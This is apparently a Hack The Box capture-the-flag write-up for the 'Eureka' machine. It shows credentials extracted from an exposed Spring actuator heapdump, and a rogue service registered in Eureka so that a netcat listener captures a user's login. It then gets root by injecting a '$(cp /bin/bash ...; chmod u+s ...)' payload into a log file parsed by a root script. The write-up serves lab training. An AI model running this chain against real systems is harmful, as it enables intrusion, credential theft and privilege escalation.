Overview Eureka is a hard-difficulty machine from Hack The Box dealing initially with a Eureka instance leaking its’ heapdump which we can decompile to get some credentials to later abuse malicious service creation allowing us to leak another user’s credentials to finally abuse a logging service by modifying a file targeted by it.
Eureka-info-card
Reconnaissance 1 2 3 4 5 6 7 8 9 10 11 12 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA) | 256 90:11:9d:67:b6:f6:64:d4:df :7f:ed:4a:90:2e:6d:7b (ECDSA) |_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://furni.htb/ 8761/tcp open unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that we have our usual ssh port and a web application deployed on port 80 that’s redirecting us to furni.htb
, so let’s go ahead and add that entry to our /etc/hosts
file. We’ve also got a suspicious 8761 port
It looks like a normal application with registration and login:
Web Application
The Eureka default port is 8761, which we can access but we are prompted to enter login credentials. Doing some research over Eureka, I stumbled upon this amazing article explaining spring actuators , so now we can download the heapdump for the application using it through http://furni.htb/actuator/heapdump . Later, we can use JDumpSpider
to dump the contents:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 ┌──(kali㉿kali)-[~/Hackthebox/Eureka] └─$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true =========================================== SpringDataSourceProperties ------------- password = 0sc@r190_S0l!dP@sswd driverClassName = com.mysql.cj.jdbc.Driver url = jdbc:mysql://localhost:3306/Furni_WebApp_DB username = oscar190 =========================================== WeblogicDataSourceConnectionPoolConfig ------------- not found! =========================================== MongoClient ------------- not found! =========================================== AliDruidDataSourceWrapper ------------- not found! =========================================== HikariDataSource ------------- java.lang.NumberFormatException: null not found! =========================================== RedisStandaloneConfiguration ------------- not found! =========================================== JedisClient ------------- not found! =========================================== CookieRememberMeManager(ShiroKey) ------------- not found! =========================================== OriginTrackedMapPropertySource ------------- management.endpoints.web.exposure.include = * spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver spring.cloud.inetutils.ignoredInterfaces = enp0s.* eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/ server.forward-headers-strategy = native spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB spring.application.name = Furni server.port = 8082 spring.jpa.properties.hibernate.format_sql = true spring.session.store-type = jdbc spring.jpa.hibernate.ddl-auto = none =========================================== MutablePropertySources ------------- spring.cloud.client.ip-address = 127.0.0.1 local.server.port = null spring.cloud.client.hostname = eureka =========================================== MapPropertySources ------------- spring.cloud.client.ip-address = 127.0.0.1 spring.cloud.client.hostname = eureka local.server.port = null =========================================== ConsulPropertySources ------------- not found! =========================================== JavaProperties ------------- not found! =========================================== ProcessEnvironment ------------- not found! =========================================== OSS ------------- org.jboss.logging.provider = slf4j =========================================== UserPassSearcher ------------- org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter: [oauth2LoginEnabled = false , passwordParameter = password, formLoginEnabled = true , usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false , failureUrl = /login?error] [oauth2LoginEnabled = false , formLoginEnabled = false , saml2LoginEnabled = false ] org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter: [passwordParameter = password, usernameParameter = username] org.antlr.v4.runtime.atn.LexerATNConfig: [passedThroughNonGreedyDecision = false ] org.antlr.v4.runtime.atn.ATNDeserializationOptions: [generateRuleBypassTransitions = false ] org.hibernate.boot.internal.InFlightMetadataCollectorImpl: [inSecondPass = false ] com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin: [firstPass = true ] com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin: [publicKeyRequested = false ] com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin: [publicKeyRequested = false ] com.mysql.cj.NativeCharsetSettings: [platformDbCharsetMatches = true ] com.mysql.cj.protocol.a.NativeAuthenticationProvider: [database = Furni_WebApp_DB, useConnectWithDb = true , serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190] com.mysql.cj.jdbc.ConnectionImpl: [password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190] com.mysql.cj.conf.HostInfo: [password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190] com.zaxxer.hikari.pool.HikariPool: [aliveBypassWindowMs = 500, isUseJdbc4Validation = true ] org.springframework.cloud.netflix.eureka.EurekaClientConfigBean: [eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false , eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50] org.springframework.boot.autoconfigure.security.SecurityProperties$User : [password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true ] org.springframework.boot.autoconfigure.jdbc.DataSourceProperties: [password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190] org.springframework.security.authentication.dao.DaoAuthenticationProvider: [hideUserNotFoundExceptions = true ] com.zaxxer.hikari.HikariDataSource: [keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190] org.apache.catalina.startup.Tomcat: [hostname = localhost] =========================================== CookieThief ------------- not found! =========================================== AuthThief ------------- java.util.LinkedHashMap$Entry : org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer ===========================================
And we got some credentials for oscar190
user oscar190:0sc@r190_S0l!dP@sswd
We can use these credentials to ssh to the user.
User Pivoting - Eureka malicious service creation Looking at the conntections, we can find the internal Eureka that we forward to our local machine and login to:
1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[~/Hackthebox/Eureka] └─$ strings heapdump | grep 8761 P`http://localhost:8761/eureka/ http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/! http://localhost:8761/eureka/! http://localhost:8761/eureka/! Host: localhost:8761 http://localhost:8761/eureka/! Host: localhost:8761
I found this amazing article detailing the steps: https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka
First, lets check the source code through: http://127.0.0.1:8761/eureka/apps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 <applications > <versions__delta > 1</versions__delta > <apps__hashcode > UP_4_</apps__hashcode > <application > <name > APP-GATEWAY</name > <instance > <instanceId > localhost:app-gateway:8080</instanceId > <hostName > localhost</hostName > <app > APP-GATEWAY</app > <ipAddr > 10.10.11.66</ipAddr > <status > UP</status > <overriddenstatus > UNKNOWN</overriddenstatus > <port enabled ="true" > 8080</port > <securePort enabled ="false" > 443</securePort > <countryId > 1</countryId > <dataCenterInfo class ="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" > <name > MyOwn</name > </dataCenterInfo > <leaseInfo > <renewalIntervalInSecs > 30</renewalIntervalInSecs > <durationInSecs > 90</durationInSecs > <registrationTimestamp > 1745977134608</registrationTimestamp > <lastRenewalTimestamp > 1746032045846</lastRenewalTimestamp > <evictionTimestamp > 0</evictionTimestamp > <serviceUpTimestamp > 1745977134609</serviceUpTimestamp > </leaseInfo > <metadata > <management.port > 8080</management.port > </metadata > <homePageUrl > http://localhost:8080/</homePageUrl > <statusPageUrl > http://localhost:8080/actuator/info</statusPageUrl > <healthCheckUrl > http://localhost:8080/actuator/health</healthCheckUrl > <vipAddress > app-gateway</vipAddress > <secureVipAddress > app-gateway</secureVipAddress > <isCoordinatingDiscoveryServer > false</isCoordinatingDiscoveryServer > <lastUpdatedTimestamp > 1745977134609</lastUpdatedTimestamp > <lastDirtyTimestamp > 1745977132527</lastDirtyTimestamp > <actionType > ADDED</actionType > </instance > </application > <application > <name > USER-MANAGEMENT-SERVICE</name > <instance > <instanceId > localhost:USER-MANAGEMENT-SERVICE:8081</instanceId > <hostName > localhost</hostName > <app > USER-MANAGEMENT-SERVICE</app > <ipAddr > 10.10.11.66</ipAddr > <status > UP</status > <overriddenstatus > UNKNOWN</overriddenstatus > <port enabled ="true" > 8081</port > <securePort enabled ="false" > 443</securePort > <countryId > 1</countryId > <dataCenterInfo class ="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" > <name > MyOwn</name > </dataCenterInfo > <leaseInfo > <renewalIntervalInSecs > 30</renewalIntervalInSecs > <durationInSecs > 90</durationInSecs > <registrationTimestamp > 1745977146755</registrationTimestamp > <lastRenewalTimestamp > 1746032028027</lastRenewalTimestamp > <evictionTimestamp > 0</evictionTimestamp > <serviceUpTimestamp > 1745977146755</serviceUpTimestamp > </leaseInfo > <metadata > <management.port > 8081</management.port > </metadata > <homePageUrl > http://localhost:8081/</homePageUrl > <statusPageUrl > http://localhost:8081/actuator/info</statusPageUrl > <healthCheckUrl > http://localhost:8081/actuator/health</healthCheckUrl > <vipAddress > USER-MANAGEMENT-SERVICE</vipAddress > <secureVipAddress > USER-MANAGEMENT-SERVICE</secureVipAddress > <isCoordinatingDiscoveryServer > false</isCoordinatingDiscoveryServer > <lastUpdatedTimestamp > 1745977146755</lastUpdatedTimestamp > <lastDirtyTimestamp > 1745977144457</lastDirtyTimestamp > <actionType > ADDED</actionType > </instance > <instance > <instanceId > USER-MANAGEMENT-SERVICE</instanceId > <hostName > 10.10.14.30</hostName > <app > USER-MANAGEMENT-SERVICE</app > <ipAddr > 10.10.14.30</ipAddr > <status > UP</status > <overriddenstatus > UNKNOWN</overriddenstatus > <port enabled ="true" > 8081</port > <securePort enabled ="false" > 7002</securePort > <countryId > 1</countryId > <dataCenterInfo class ="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" > <name > MyOwn</name > </dataCenterInfo > <leaseInfo > <renewalIntervalInSecs > 30</renewalIntervalInSecs > <durationInSecs > 90</durationInSecs > <registrationTimestamp > 1745992812873</registrationTimestamp > <lastRenewalTimestamp > 1745992812873</lastRenewalTimestamp > <evictionTimestamp > 0</evictionTimestamp > <serviceUpTimestamp > 1745991714185</serviceUpTimestamp > </leaseInfo > <metadata class ="java.util.Collections$EmptyMap" /> <vipAddress > USER-MANAGEMENT-SERVICE</vipAddress > <secureVipAddress > USER-MANAGEMENT-SERVICE</secureVipAddress > <isCoordinatingDiscoveryServer > false</isCoordinatingDiscoveryServer > <lastUpdatedTimestamp > 1745992812873</lastUpdatedTimestamp > <lastDirtyTimestamp > 1745992812872</lastDirtyTimestamp > <actionType > ADDED</actionType > </instance > </application > <application > <name > FURNI</name > <instance > <instanceId > localhost:Furni:8082</instanceId > <hostName > localhost</hostName > <app > FURNI</app > <ipAddr > 10.10.11.66</ipAddr > <status > UP</status > <overriddenstatus > UNKNOWN</overriddenstatus > <port enabled ="true" > 8082</port > <securePort enabled ="false" > 443</securePort > <countryId > 1</countryId > <dataCenterInfo class ="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" > <name > MyOwn</name > </dataCenterInfo > <leaseInfo > <renewalIntervalInSecs > 30</renewalIntervalInSecs > <durationInSecs > 90</durationInSecs > <registrationTimestamp > 1745977148696</registrationTimestamp > <lastRenewalTimestamp > 1746032037157</lastRenewalTimestamp > <evictionTimestamp > 0</evictionTimestamp > <serviceUpTimestamp > 1745977148696</serviceUpTimestamp > </leaseInfo > <metadata > <management.port > 8082</management.port > </metadata > <homePageUrl > http://localhost:8082/</homePageUrl > <statusPageUrl > http://localhost:8082/actuator/info</statusPageUrl > <healthCheckUrl > http://localhost:8082/actuator/health</healthCheckUrl > <vipAddress > Furni</vipAddress > <secureVipAddress > Furni</secureVipAddress > <isCoordinatingDiscoveryServer > false</isCoordinatingDiscoveryServer > <lastUpdatedTimestamp > 1745977148696</lastUpdatedTimestamp > <lastDirtyTimestamp > 1745977147947</lastDirtyTimestamp > <actionType > ADDED</actionType > </instance > </application > </applications >
Now we can go ahead and register a malicious service to abuse later. However, dealing with the eureka instance was a bit of a pain so I referenced this article to know exactly what I’m dealing with: https://www.twilio.com/en-us/blog/developers/community/eureka-zuul-service-discovery-dynamic-routing-javascript-microservices-node-js
First register a new malicious service:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{ "instance": { "instanceId": "USER-MANAGEMENT-SERVICE", "hostName": "10.10.16.70", "app": "USER-MANAGEMENT-SERVICE", "ipAddr": "10.10.16.70", "vipAddress": "USER-MANAGEMENT-SERVICE", "secureVipAddress": "USER-MANAGEMENT-SERVICE", "status": "UP", "port": { "$": 1337, "@enabled": "true" }, "dataCenterInfo": { "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo", "name": "MyOwn" } } } '
We wait a bit and get this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 PS C:\Users\0xkujen> nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.16.70] from (UNKNOWN) [10.10.11.66] 39204 POST /login HTTP/1.1 X-Real-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1,127.0.0.1 X-Forwarded-Proto: http,http Content-Length: 168 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 Accept-Language: en-US,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Cookie: SESSION=YWY5YjU1ODQtMTk1Yy00YThhLWFlYWItY2ZjZjNiNDNmNzMy User-Agent: Mozilla/5.0 (X11; Linux x86_64) Forwarded: proto=http;host=furni.htb;for ="127.0.0.1:42696" X-Forwarded-Port: 80 X-Forwarded-Host: furni.htb host: 10.10.16.70:1337 username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=1Dm_ep-b7TuIWsCFJM9fuzPA-jaoIuwBmATsLCpH8qmkfMrN7AnbTK6o3g2laKSxQOJrilKh1w_OENgsrDfYSRhykJuUHaj8
miranda-wise:IL!veT0Be&BeT0L0ve
We ssh as miranda and get the user flag.
Privilege Escalation - Logger script abuse Running pspy I found this script running as root:Pspy output
We can read its’ contents:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 miranda-wise@eureka:/opt$ ls heapdump log_analyse.sh scripts miranda-wise@eureka:/opt$ cat log_analyse.sh GREEN='\033[0;32m' RED='\033[0;31m' YELLOW='\033[1;33m' BLUE='\033[0;34m' CYAN='\033[0;36m' RESET='\033[0m' LOG_FILE="$1 " OUTPUT_FILE="log_analysis.txt" declare -A successful_users declare -A failed_users STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0" ) if [ ! -f "$LOG_FILE " ]; then echo -e "${RED} Error: Log file $LOG_FILE not found.${RESET} " exit 1 fi analyze_logins () { while IFS= read -r line; do username=$(echo "$line " | awk -F"'" '{print $2}' ) if [ -n "${successful_users[$username]+_} " ]; then successful_users[$username ]=$((successful_users[$username ] + 1 )) else successful_users[$username ]=1 fi done < <(grep "LoginSuccessLogger" "$LOG_FILE " ) while IFS= read -r line; do username=$(echo "$line " | awk -F"'" '{print $2}' ) if [ -n "${failed_users[$username]+_} " ]; then failed_users[$username ]=$((failed_users[$username ] + 1 )) else failed_users[$username ]=1 fi done < <(grep "LoginFailureLogger" "$LOG_FILE " ) } analyze_http_statuses () { while IFS= read -r line; do code=$(echo "$line " | grep -oP 'Status: \K.*' ) found=0 for i in "${!STATUS_CODES[@]} " ; do existing_entry="${STATUS_CODES[$i]} " existing_code=$(echo "$existing_entry " | cut -d':' -f1) existing_count=$(echo "$existing_entry " | cut -d':' -f2) if [[ "$existing_code " -eq "$code " ]]; then new_count=$((existing_count + 1 )) STATUS_CODES[$i ]="${existing_code} :${new_count} " break fi done done < <(grep "HTTP.*Status: " "$LOG_FILE " ) } analyze_log_errors (){ echo -e "\n${YELLOW} [+] Log Level Counts:${RESET} " log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE " | sort | uniq -c) echo "$log_levels " | awk -v blue="$BLUE " -v yellow="$YELLOW " -v red="$RED " -v reset="$RESET " '{ if ($2 == "INFO") color=blue; else if ($2 == "WARN") color=yellow; else if ($2 == "ERROR") color=red; else color=reset; printf "%s%6s %s%s\n", color, $1, $2, reset }' error_messages=$(grep ' ERROR ' "$LOG_FILE " | awk -F' ERROR ' '{print $2}' ) echo -e "\n${RED} [+] ERROR Messages:${RESET} " echo "$error_messages " | awk -v red="$RED " -v reset="$RESET " '{print red $0 reset}' eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE " ) eureka_count=$(echo "$eureka_errors " | wc -l) echo -e "\n${YELLOW} [+] Eureka Connection Failures:${RESET} " echo -e "${YELLOW} Count: $eureka_count${RESET} " echo "$eureka_errors " | tail -n 2 | awk -v yellow="$YELLOW " -v reset="$RESET " '{print yellow $0 reset}' } display_results () { echo -e "${BLUE} ----- Log Analysis Report -----${RESET} " echo -e "\n${GREEN} [+] Successful Login Counts:${RESET} " total_success=0 for user in "${!successful_users[@]} " ; do count=${successful_users[$user]} printf "${GREEN} %6s %s${RESET} \n" "$count " "$user " total_success=$((total_success + count)) done echo -e "${GREEN} \nTotal Successful Logins: $total_success${RESET} " echo -e "\n${RED} [+] Failed Login Attempts:${RESET} " total_failed=0 for user in "${!failed_users[@]} " ; do count=${failed_users[$user]} printf "${RED} %6s %s${RESET} \n" "$count " "$user " total_failed=$((total_failed + count)) done echo -e "${RED} \nTotal Failed Login Attempts: $total_failed${RESET} " echo -e "\n${CYAN} [+] HTTP Status Code Distribution:${RESET} " total_requests=0 IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]} " )) unset IFS for entry in "${sorted[@]} " ; do code=$(echo "$entry " | cut -d':' -f1) count=$(echo "$entry " | cut -d':' -f2) total_requests=$((total_requests + count)) if [[ $code =~ ^2 ]]; then color="$GREEN " elif [[ $code =~ ^3 ]]; then color="$YELLOW " elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED " else color="$CYAN " fi printf "${color} %6s %s${RESET} \n" "$count " "$code " done echo -e "${CYAN} \nTotal HTTP Requests Tracked: $total_requests${RESET} " } analyze_logins analyze_http_statuses display_results | tee "$OUTPUT_FILE " analyze_log_errors | tee -a "$OUTPUT_FILE " echo -e "\n${GREEN} Analysis completed. Results saved to $OUTPUT_FILE${RESET} "
1 2 3 4 5 6 7 8 miranda-wise@eureka:/opt$ find / -name application* 2> /dev/null | grep -i log /var/www/web/cloud-gateway/log/application.log.2025-04-23.0.gz /var/www/web/cloud-gateway/log/application.log /var/www/web/user-management-service/log/application.log.2025-04-23.0.gz /var/www/web/user-management-service/log/application.log miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls application.log application.log.2025-04-23.0.gz miranda-wise@eureka:/var/www/web/cloud-gateway/log$
We delete it and wait a bit and it reappears:
1 2 3 4 5 6 7 8 miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls application.log application.log.2025-04-23.0.gz miranda-wise@eureka:/var/www/web/cloud-gateway/log$ rm application.log rm : remove write-protected regular file 'application.log' ? ymiranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls application.log.2025-04-23.0.gz application.log application.log.2025-04-23.0.gz miranda-wise@eureka:/var/www/web/cloud-gateway/log$
So now what we can do is replace the contents of that file to our malicious payload, of course while respecting the format needed by the script:
1 echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' >> application.log
We wait an bit and we got SUID on /bin/bash and we can get our root flag by running ‘bash -p’ and then ‘cat /root/root.txt’
That was it for Eureka, hope you learned something new! -0xkujen